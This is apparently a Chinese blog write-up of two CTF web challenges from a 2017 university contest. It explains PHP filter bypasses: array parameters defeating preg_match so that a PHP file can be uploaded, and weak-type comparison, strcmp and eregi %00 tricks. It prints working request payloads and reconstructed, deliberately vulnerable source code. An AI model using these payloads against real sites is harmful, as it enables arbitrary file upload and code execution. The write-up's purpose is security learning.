2017高校运维线上赛
Nov 6, 2017 10:54 · 273 words · 2 minute read
日常划水。。。。。
EIS文件上传的题
总结
许多处理字符串的函数如果函数接收到的参数是数组的话,会返回NULL。例如strcmp,strlen,md5等,但是preg_match和preg_match_all函数的参数如果是数组的话则返回false,这样就可以绕过正则的过滤。
内容
题目是一个form表单,需要提交两个内容,一个是文件后缀名,一个是文件内容。
思路
看了writeup后,发现是过滤’<‘符号。然后要使用数组的方法绕过过滤。
知道传过去的是ext和content参数。于是构造的payload是 content[]=<?php phpinfo();?>&ext=php,然后访问这个文件,访问成功即绕过
原理
根据题目是要人输入内容然后生成文件,可以知道后台是将用户提交的数据写入文件,然后完成上传文件这一功能。
1.所以后台一定是使用了写入文件的函数。
写入的函数:file_put_contents,该函数的第二个参数是date参数,下边是date参数的官方解释
data
要写入的数据。类型可以是 string,array 或者是 stream 资源(如上面所说的那样)。
如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。
参数 data 可以是数组(但不能为多维数组),这就相当于 file_put_contents($filename, join('', $array))。
由文档可知该函数允许写入数组类型。
2.来分析过滤提交的字符串的函数preg_match,猜想该题的的过滤方法是
if(preg_match('/\</',$data)){
die('hack');
}
我们知道,很多处理字符串的函数如果传入数组会出错返回NULL, 如strcmp,strlen,md5等, 但preg_match 函数出错返回false, 这里我们可以通过var_dump(preg_match(‘/</‘,$data)); 来验证, 这样的话,preg_match 的正则过滤就失效了
因此猜测文件上传的代码是这样的
<?php
if(isset($_POST['content']) && isset($_POST['ext'])){
$data = $_POST['content'];
$ext = $_POST['ext'];
//var_dump(preg_match('/\</',$data));
if(preg_match('/\</',$data)){
die('hack');
}
$filename = time();
file_put_contents($filename.$ext, $data);
}
?>
所以就可以使用content[]=<?php phpinfo();?>&ext=php来绕过。
复现的代码
要求:
上传php文件,代码内容为<?php phpinfo();?>。
<?php
if(isset($_POST['content']) && isset($_POST['ext'])){
$data = $_POST['content'];
$ext = $_POST['ext'];
//var_dump(preg_match('/\</',$data));
if(preg_match('/\</',$data)){
die('hack');
}
echo 1;
// $filename = time();
// file_put_contents($filename.$ext, $data);
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<form action="45.php" method="post">
文件后缀:<input type="text" name="ext">
<br>
文件内容:<input type="text" name="content">
<input type="submit" value="提交">
</form>
</body>
</html>
修复
修复方法是使用fwrite 函数来代替危险的file_put_contents函数,fwrite函数只能传入字符串,如果是数组会出错返回false
EIS PHP是最好的语言
总结
利用php弱类型比较,用一个数组和数字比较,数组转换后大于2017,目前发现最大的字符串是9e9,大于9999999。
php中 0==任何字符串(===不行)绕过array_search()函数
strcmp函数弱类型比较,比较一个字符串和和一个数组时返回NULL
利用到eregi函数的%00截断。
第一个过滤的绕过
if(is_array($a)){
is_numeric(@$a["param1"])?exit:NULL;
if(@$a["param1"]){
($a["param1"]>2017)?$v1=1:NULL;
}
需要满足的条件
- $a需要是数组
- $a[“param1”]该元素不能是数字
- $a[“param1”]需要大于2017
综上,数组满足要求
$a=array(“param1”=>array(0));
第二个过滤的绕过
if(is_array(@$a["param2"])){
if(count($a["param2"])!==5 OR !is_array($a["param2"][0])) exit;
$pos = array_search("nudt", $a["param2"]);
$pos===false?die("nope"):NULL;
foreach($a["param2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
需要满足的条件
- $a[“param2”]是一个数组
- count($a[“param2”])等于5并且$a[“param2”][0]是一个数组
- 在数组$a[“param2”]中找不到nudt
- 在数组$a[“param2”]中找到nudt
array_search是一个弱类型匹配,所以可以利用0来绕过,0==任何字符串(php弱类型比较中有解释)。
最终的内容
$a=array(“param2”=>array(array(),0,1,1,1));
第三个过滤的绕过
$c=@$_GET['egg'];
$d=@$_GET['fish'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("M|n|s",$d.$c[0])?err():NULL;
strpos(($c[0].$d), "MyAns")?$v3=1:NULL;
}
}
strcmp()函数解析
strcmp — 二进制安全字符串比较
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
是一个弱类型比较,若果其中一个参数是数组,则返回NULL
eregi函数存在%00截断,在%00截断有详细解释
第三步则是需要在$c[0].$d中找到MyAns。
最终结果
egg[0]=%00MyAns&egg[1]=%00MyAns&fish[]=1
$_GET和$_POST获取数组的方法
示例
?id[0]=1
这样传到后台的就是一个第0个元素是1的数组
最终
进行序列化操作,将这三个整合后得到
foo=a:2:{s:6:%
22param1%22;a:1:{i:0;i:1;}s:6:%22param2%22;a:5:{i:0;a:1:{i:0;i:0;}i:1;i:0;i:2;i:2;i:
3;i:3;i:4;i:4;}}&egg[0]=%00MyAns&egg[1]=%00MyAns&fish[]=1
源码
<?php
$v1=0;$v2=0;$v3=0;
$a=(array)unserialize(@$_GET['foo']);
//第一个参数的过滤
if(is_array($a)){
is_numeric(@$a["param1"])?exit:NULL;
if(@$a["param1"]){
($a["param1"]>2017)?$v1=1:NULL;
}
//第二个参数的过滤
if(is_array(@$a["param2"])){
if(count($a["param2"])!==5 OR !is_array($a["param2"][0])) exit;
$pos = array_search("nudt", $a["param2"]);
$pos===false?die("nope"):NULL;
foreach($a["param2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
//第三个参数的过滤
$c=@$_GET['egg'];
$d=@$_GET['fish'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("M|n|s",$d.$c[0])?err():NULL;
strpos(($c[0].$d), "MyAns")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>